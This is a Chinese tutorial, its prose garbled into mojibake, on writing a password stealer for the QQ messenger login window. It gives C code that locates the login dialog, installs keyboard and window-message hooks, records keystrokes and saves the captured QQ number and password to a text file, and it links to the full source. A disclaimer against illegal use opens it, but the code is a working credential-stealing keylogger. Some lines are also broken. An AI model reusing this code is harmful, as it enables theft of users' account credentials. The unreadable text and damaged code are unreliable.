| 
 ¡¡¡¡[±àÕß°´£º±¾ÎÄÒÔ´¿¼¼ÊõµÄ½Ç¶È̽ÌÖʹÓù³×ÓÀ´»ñµÃÃÜÂ룬Çë²»ÒªÓÃÓÚ·Ç·¨Ä¿µÄ¡£] ¡¡¡¡×î½üÌìÆøÌ«ÈÈ£¬Íâ¼ÓÎÞÁÄ£¬³öÓÚÁ·Ï°µÄÄ¿µÄ£¬Ïëµ½ÁËд¸öµÁQQµÄÈí¼þ£¬Ëµ¡°µÁ¡±£¬Î´ÃâÊÇÌ«ÄÑÌýÁ˰ɣ¬ÓÚÊÇÎÒ¸øËüÆðÃûΪ¡°UiQQµÀ¡±.ÏÂÃæ¾ÍÊDZ¾Èí¼þµÄ½çÃæ²¿·Ö£º   
 (ͼ1£®Èí¼þ½çÃæ²¿·Ö)  ¡¡¡¡Ò»°ãµÄµÁÃÜÂëµÄÈí¼þµÄÈí¼þ¶¼ÊÇͨ¹ý¼àÊÓ¼üÅÌÀ´»ñµÃÃÜÂ룬ÕâÑù²Ù×÷±È½Ï·½±ã£¬µ«ÊÇÕâÑùÒ²´æÔÚÒ»¶¨ÎÊÌ⣬ÃÜÂëÓеÄʱºò²»ÊǺÜ׼ȷ£¬ÒòΪÓеÄÈËÊäÈëÃÜÂë²¢²»ÊÇ´Óǰµ½ºóÊäÈ룬µ±È»ÕâÑùµÄÈËÒ²ÊÇÉÙÊý£¬µÁÃÜÂëÂµ±È»È¥µÃµ½ÄÇЩ±È½Ï´ÖÐĵÄÈ˵ÄÃÜÂ룡 ͨ¹ý°²×°¹³×ÓÀ´¼àÊÓQQµÇ½½çÃæ¾ÍÊÇ»ñµÃÃÜÂëµÄ·½·¨£¬ÔÚ°²×°Ç°µÃÏÈÕÒµ½µÇ½´°¿ÚµÄ¾ä±ú£¬µ±¹³×Ó°²×°ºó£¬¼Ç¼¼üÅÌ£¬µ±Óû§¡°»Ø³µ¡±»òÊǵãÁË¡°µÇ½¡±¾Í¿ÉÒÔ¿ªÊ¼´¦ÀíÃÜÂëÁË£¡ ÎÒ×¼±¸·ÖΪËIJ¿·ÖÀ´ËµÃ÷Õâ¸öÕû¸ö¹ý³Ì£º ¡¡¡¡£¨1£©Ñ°ÕÒQQµÇ½½çÃæ¡£¡¡¡¡£¨2£©°²×°¹³×Ó
 ¡¡¡¡£¨3£©¹³×Óº¯ÊýµÄ½âÊÍ.
 ¡¡¡¡£¨4£©´¦ÀíÃÜÂë¡£
 ¡¡¡¡ÒÔϲ¿·ÖÈ«ÊÇʹÓÃCÓïÑÔ£¬ÎÄÕÂÖÐÎÒ¼ÙÉè¶ÁÕßÄúÊÇ»áC/SDK±à³ÌµÄ¡£Èç¹ûÓöµ½Ïà¹ØµÄ¸ÅÄîÐÔÎÊÌ⣬Äú¿ÉÒԲ鿴MSDN»òÊÇÉÏBBS ѯÎÊ£¡  ¡¡¡¡µÚÒ»²¿·Ö£º£¨1£©Ñ°ÕÒQQµÇ½½çÃæ ¡¡¡¡Èí¼þÔËÐкó£¬ÀûÓð²×°¶¨Ê±Æ÷£¬Ã¿ÃëÔÚϵͳÕÒQQµÇ½½çÃæ£¬ÕâÑù»ù±¾ÉÏÖ»ÒªÓû§´ò¿ªÁËQQµÇ½½çÃæ¾Í»á±»×¥×¡Æä¾ä±ú£¬¿´ÏÂÃæ´úÂ룺 ¡¡¡¡#define ID_MYTIMER 555
 ¡¡¡¡SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
 ¡¡¡¡°²×°ºÃTIMERºó£¬ÏÂÃæÊÇ´¦ÀíÖ÷³ÌÐòµÄWM_TIMERÏûÏ¢£¬·²ÊdzöÏÖûÓж¨ÒåµÄ±äÁ¿£¬Äú¿ÉÒÔÀí½âΪÊÇÈ«¾Ö±äÁ¿.
 //´¦ÀíWM_TIMER´úÂë
 if (!IsWindow(g_hQQLogin)) //ÅжÏg_hQQLoginÊÇ·ñÊÇÓÐЧµÄ´°¿Ú¾ä±ú
 {
 HWND hLogin=NULL;
 g_hQQLogin = NULL;
 SetQQHook(NULL); //²ÎÊýΪNULLÊÇÐ¶ÔØHOOK£¬²ÎÊýΪ¾ä±úÊǰ²×°¾ä±ú
 do
 {
 //ÀûÓÃFindWindowEx²éÕÒQQµÇ½´°¿Ú£¬¾ßÌå²ÎÊýÒâ˼Çë²éMSDN
 g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //¶Ô»°¿òµÄÀà¶¼ÊÇ#32770
 //ÕÒµ½ÀàÃûÊÇ#32770ºó£¬ÔÙÔÚÆä´°ÌåÄÚÕÒÒ»¸ö¾ßÓС° µÇ¼QQ¡±µÄBUTTON°´Å¦
 //ÕâÒ»¾äºÜ¹Ø¼ü£¬Èç¹ûÄãµÄQQµÇ½´°¿ÚÉÏûÓÐ" µÇ¼QQ"×ÖÑù£¬ÄÇô»ñÈ¡ÃÜÂ뽫ʧ°Ü£¡
 hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 怬QQ");
 }
 while(g_hQQLogin != NULL && hLogin == NULL); //Ö±µ½ÕÒµ½Ö¸¶¨µÄ´°¿Ú£¬¼´£ºQQµÇ½´°¿Ú
 if (g_hQQLogin != NULL){
 SetQQHook(g_hQQLogin); //°²×°HOOK£¬´Ëº¯ÊýÔÚDLLÎļþÖÐ µÚ¶þ²¿·ÖÖнéÉÜ
 }
 }
 ¡¡¡¡ÉÏÃæ¾ÍÊDzéÕÒQQµÇ½´°¿Ú¾ä±úµÄ¹ý³Ì£¬´Ó´úÂë¿ÉÒÔ¿´³öÎÒÓõķ½·¨£ºÕÒÒ»¸öÆä×Ó´°ÌåÖÐÓÐÒ»¸ö±êÌâΪ¡° µÇ¼QQ¡±µÄBUTTONµÄ¶Ô»°¿ò£¨Õâ¾ä»°ËµµÃÓеãÈĿڣ¬Õâ¾ä»°Èç¹ûÒ²¿´²»¶®£¬ÏÂÃæÄú²»Óÿ´ÁË£º£¨£© ÎÒ×ʼÊÇÏëÀûÓà FindWindow(NULL,"QQÓû§µÇ½´°¿Ú")À´²éÕÒ£¬µ«ÊÇÎÒÓÃSpy++¿´ÁËQQµÇ½´°¿ÚµÄ±êÌâ²¢²»ÊÇ¡°QQÓû§µÇ½´°¿Ú¡±£¬¶øÊÇ¡°ÂÒÂ롱£¬ÆäÖаüº¬Á˻سµ¼üµÈÌØÊâ×Ö·û£¬ÓÚÊÇÎÒÓÃÁËFindWindowEx(). ¡¡¡¡µÚ¶þ²¿·Ö£º£¨2£©°²×°¹³×Ó ¡¡¡¡ÕÒµ½ÁËQQµÇ½´°¿Úºó£¬¾Í³É¹¦ÁËÒ»°ë¡£ ¡¡¡¡ÏÂÃæÊÇDLLÎļþÖеݲװHOOKµÄº¯ÊýSetQQHook(), ΪʲôҪÓÃDLL£¨¶¯Ì¬Á¬½Ó¿â£©£¿ÒªÈ¥¡°¹³¡±ÆäËû½ø³ÌµÄÏûÏ¢£¬µÃÈÃHOOKº¯ÊýÔÚDLLÖУ¬ÕâÑùºÃÓ³Éäµ½ÆäµØÖ·¿Õ¼äÖУ¡ BOOL WINAPI SetQQHook(HWND hQQLogin)
 {
 //»ñµÃµÇ½¿òµÄ¾ä±ú
 BOOL bRet = FALSE;
 if (hQQLogin != NULL)
 {
 DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //ÕâÊÇʲôÒâ˼£¿¿´MSDN
 g_hNum = GetDlgItem(hQQLogin, 138); //²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡ µÃµ½QQºÅµÄ×Ó´°¿Ú¾ä±úg_hPsw = GetDlgItem(hQQLogin, 180);  //²»Í¬°æ±¾QQ£¬´Ë´¦²»Ò»Ñù£¡µÃµ½QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú
 if (g_hNum == NULL)
 {
 MessageBox(NULL,"¿ÞÁË£¬ºÅÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
 return FALSE;
 }
 if(g_hPsw==NULL)
 {
 MessageBox(NULL,"¿ÞÁË£¬ÃÜÂë¾ä±ú¶¼Ã»Óеõ½£¡","ÓôÃÆ",0);
 return FALSE;
 }
 //·Ö±ð¼üÅÌHOOK£¬ºÍ½çÃæ²¿·ÖÏûÏ¢´¦ÀíµÄHOOK
 g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
 g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
 bRet = (g_hProc != NULL) && (g_hKey != NULL);
 }
 else
 {
 // Ð¶ÔØ¹³×Ó
 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
 g_hProc = NULL;
 g_hKey = NULL;
 g_hNum = NULL;
 }
 return bRet;
 }
 ¡¡¡¡ÉÏÃæÊǰ²×°HOOK²¿·ÖµÄ´úÂ룬¾ÍÕâô¼òµ¥£¬ÏÂÃæÌáµ½ÁËCallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯Êý£¬ÊÇÎÒµÚÈý²¿·ÖÒª½âÊ͵Ĺ³×Óº¯Êý¡£
 ¡¡¡¡µÚÈý²¿·Ö£º£¨3£©¹³×Óº¯ÊýµÄ½âÊÍ ¡¡¡¡CallWndProc£¬KeyboardProcÊÇÁ½¸ö»Øµ÷º¯ÊýµÄÔÐͺ;ßÌå´úÂëÈçÏ£º // ¹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÃüÁîÏûÏ¢
 LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
 {
 CWPSTRUCT *p = (CWPSTRUCT *)lParam;
 // ²¶»ñ¡°µÇ½¡±°´Å¥
 if (p->message == WM_COMMAND && p->wParam ==16032)
 //ÏÂÃæ¸öº¯ÊýÊÇÎÒÔÚµÚËIJ¿·Ö½éÉÜ-¡°´¦ÀíÃÜÂ롱²¿·Ö»á×Ðϸ˵Ã÷
 //µ±Óû§µãÁ˵ǽ°´Å¥£¬ËµÃ÷QQºÅÂëºÍQQÃÜÂëÒѾÌîдÍê±Ï£¬µ±È»¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
 GetPasswrod();
 return CallNextHookEx(g_hProc, nCode, wParam, lParam);
 }
 // ¼üÅ̹³×Ó¹ý³Ì£¬¼àÊÓ¡°µÇ½¡±µÄÈȼüÏûÏ¢LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
 {
 // ²¶»ñÈȼüÏûÏ¢£¬¼Ç¼¼üÅ̵İ´¼üÅ̹ý³Ì,pmsgÊÇPMSGÀàÐ͵ģ¬iÊÇÈ«¾ÖStaticÀàÐ͵Ä
 pmsg[i].wParam =wParam;
 i++;
 if (wParam == VK_RETURN) //Óû§Ê¹ÓüüÅÌ¡°»Ø³µ¡±À´µÇ½£¬Óû§ÓÃÁ˻سµºó£¬¾Í¿ÉÒÔ¿ÉÒÔÈ¥»ñµÃÃÜÂëÁË
 GetPasswrod();
 return CallNextHookEx(g_hKey, nCode, wParam, lParam);
 }
 ¡¡¡¡ÔÚÃ÷°×ÁËÕâÁ½¸ö¹³×Óº¯Êýºó¾Í¿ÉÒÔ¿´ºóÆÚÊÇÈçºÎ¾ßÌå´¦ÀíÃÜÂëµÄÁË£¬Õâ¾ÍÊÇÏÂÃæµÄµÚËIJ¿·ÖÄÚÈÝ¡£ ¡¡¡¡µÚËIJ¿·Ö£º£¨4£©´¦ÀíÃÜÂë ¡¡¡¡Èç¹ûÄú¶Áµ½ÁË´Ë´¦£¬ÎÒÏëµÃÔÝÍ£Ò»»á£¬ÏÈÈÃÎÒÀ´°ïÄã»ØÒäÒ»ÏÂÇ°ÃæÌáµ½µÄ¼¸¸ö¹Ø¼üµÄ±äÁ¿ ¡¡¡¡µÚÒ»¸ö£ºQQºÅµÄ×Ó´°¿Ú¾ä±ú g_hNum¡¡¡¡µÚ¶þ¸ö£ºQQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw //´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬ÏÂÃæ
 ¡¡¡¡µÚÈý¸ö£º´æ¼üÅ̰´¼üµÄ pmsg
 ¡¡¡¡ÉÏÃæÈý±äÁ¿·Ö±ð³öÏÖÔÚµÚ¶þ²¿·ÖºÍµÚÈý²¿·Ö£¬¶¼ÊÇÈ«¾Ö¹²Ïí£¨shared£©±äÁ¿QQÃÜÂëµÄ×Ó´°¿Ú¾ä±ú g_hPsw ´Ë²¿·ÖÔÝʱ²»Ê¹Óã¬Äã¿ÉÒÔ¿´µ½ÏÂÃæ´úÂëÖÐÓоäÓõ½g_hPswµÄÓï¾äÊÇÎÒ×¢Ê͵ôÁ˵ģ¬ÔÒòÊÇÎÞ·¨Í¨¹ýÄÇÑùÈ¥µÃµ½QQÃÜÂ룬µÃ´¦Àí°´¼üÏûÏ¢¡£ void GetPasswrod()
 {
 //ÉùÃ÷±äÁ¿ºÍ³õʼ»¯
 HANDLE f;
 TCHAR num[13];
 TCHAR psw[21];
 TCHAR total[50];
 int j;
 memset(num,0,sizeof(num));
 memset(total,0,sizeof(total));
 memset(psw,0,sizeof(psw));
 DWORD dw;//µÃµ½QQºÅµÄÄÚÈÝ£¬ÒÔΪÓеÄÈ˵ÄQQºÅÊÇÔڵǽ¿òÓмǼ£¬ÆäQQºÅ²¢ÊÇÓüüÅÌÊäÈëµÄ
 GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
 //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //´Ë¾ä²»Ê¹Óã¬ÎÞ·¨ÕâÑù»ñµÃÃÜÂë
 //ÌáÈ¡³ö¼üÅ̼Ǽ,´ËÄÚÈÝÒ²ÐíÈ«ÊÇÃÜÂ룬ҲÐíÊÇQQºÅ+QQÃÜÂëfor(j=0;j 20;j++)
 {
 psw[j]=(TCHAR)pmsg[j*2].wParam ;
 }
 psw[j+1]='\0';
 //°ÑQQºÅÂëºÍQQÃÜÂëдÈëCÅÌpassword.txtÖÐ
 f = CreateFile("c:\\password.txt",
 GENERIC_WRITE,
 FILE_SHARE_WRITE,
 NULL,
 OPEN_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NULL);
 strcat(total,"ºÅÂë");strcat(total,num);
 strcat(total,"ÃÜÂë:");
 strcat(total,psw);
 WriteFile(f,&total,sizeof(total),&dw,NULL);
 CloseHandle(f);
 }
 
 ¡¡¡¡×îºóÔÚCÅÌpassword.txtÒ²Ðí»á³öÏÖÕâÑùÁ½ÖÖÇé¿ö£º ¡¡¡¡1£©µ±QQºÅÊÇûÓÐÓÃÊäÈ룬¶øÒÑÓõÄÕ³Ìù»òÕßÊǵçÄÔÒÔǰÓмǼÔòÊÇ£ººÅÂ룺21728812ÃÜÂ룺TEST¡¡¡¡2) µ±QQºÅÊÇÓõļüÅÌÊäÈ룬µçÄÔûÓÐQQºÅ¼Ç¼ʱÔòÊÇ£º ºÅÂ룺21728812ÃÜÂ룺21728812TEST
 ¡¡¡¡¿ÉÒÔ¿´³ö£¬µÚ2ÖÖÇé¿ö°ÑQQµ±³ÉÁËÃÜÂëÁË£¬ËùÒÔÃÜÂ뻹µÃ¼õÈ¥QQºÅ¡£
 ¡¡¡¡Ìرð˵Ã÷£ºÎÒÕâÑùÖ±½Ó´¦ÀíwParam²ÎÊý£¬µÃµ½µÄ×Ö·ûÃÜÂëÈ«ÊÇ´óдµÄ£¬¾ßÌå´óСдÎÊÌâÎÒûÓоÍûÓÐ×Ðϸȥ´¦ÀíµÄ£¬¹¦ÄÜʵÏÖ¾ÍÐÐÁË£¬±Ï¾¹ÎÒʹÓÃËû²»ÓÃÀ´µÁÃÜÂëµÄ£¡  ¡¡¡¡ÉÏÃæËIJ¿·Ö»ù±¾ÉÏ»ñµÃÃÜÂëµÄ¹¦ÄܽéÉÜÍê±Ï¡£·²ÊÇûÓнéÉܵıäÁ¿½ÔÊÇÈ«¾Ö±äÁ¿£¬Ã»ÓÐÌáµ½µÄº¯ÊýÈ磺GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()µÈ½ÔÊÇWindows API£¬ÏêϸʹÓÃ˵Ã÷Çë²éMSDN£¨http://www.msdn.com),ÎÒÌáµ½µÄ¡°HOOK¡±£¬¡°¹³×Ó¡±ÊÇͬһ¸öÒâ˼£¬Ò²ÐíÓеĵط½ÎÒ˵µÄ¹³×Óº¯Êý£¬¶øÁíÍâÒ»¸öµØ·½ËµµÄÊÇHOOKº¯Êý ¡¡¡¡Ìرð˵Ã÷£ºÉÏÃæÓоßÌåµÄÔËÐÐÎļþ£¬ÓÉÓÚСµÜ²¢Ã»Óп¼Âǵ½¸ü¶àϸ½Ú£¬ÎÒÖ»ÊÇÓÃÁË¡°ÀíÏ롱״¿öÏÂÈ¥»ñµÃÃÜÂ룬²¢ÇÒ»òµÄÃÜÂëºó²¢Ã»ÓÐ×¢ÖØºóÆÚÃÜÂë´¦Àí£¬Ò²Ðí³öÏÖÃÜÂë´óСд²»·ûºÏ»òÊÇÎÞ·¨µÃµ½ÃÜÂ룬дÕâÆªÎÄÕÂÒâÔÚ¸æËßһЩ¶ÔÕâ·½Ãæ¸Ðµ½ÒÉ»óµÄÅóÓÑ»ù±¾µÄÔÀí£¬ºÍÏ£ÍûºÍ´ó¼Ò½»Á÷ £¡ ¡¡¡¡×¢Ò⣺±¾ÈËʹÓõÄQQ2005 ºØËê°æ °æ±¾ºÅ£º13.5.0.8213£¬ÆäËû°æ±¾µÄQQÎÒÎÞ·¨±£Ö¤¿ÉÒÔÕýÈ·µÃµ½ÃÜÂ룡 ¡¡¡¡²Î¿¼×ÊÁÏ£ºMSDN£¬TitilimaµÄQQβ°Í²¡¶¾Ä£Äâ´úÂë  Ô´ÂëÏÂÔØ£º http://www.lihuasoft.net/source/show.php?id=3885 |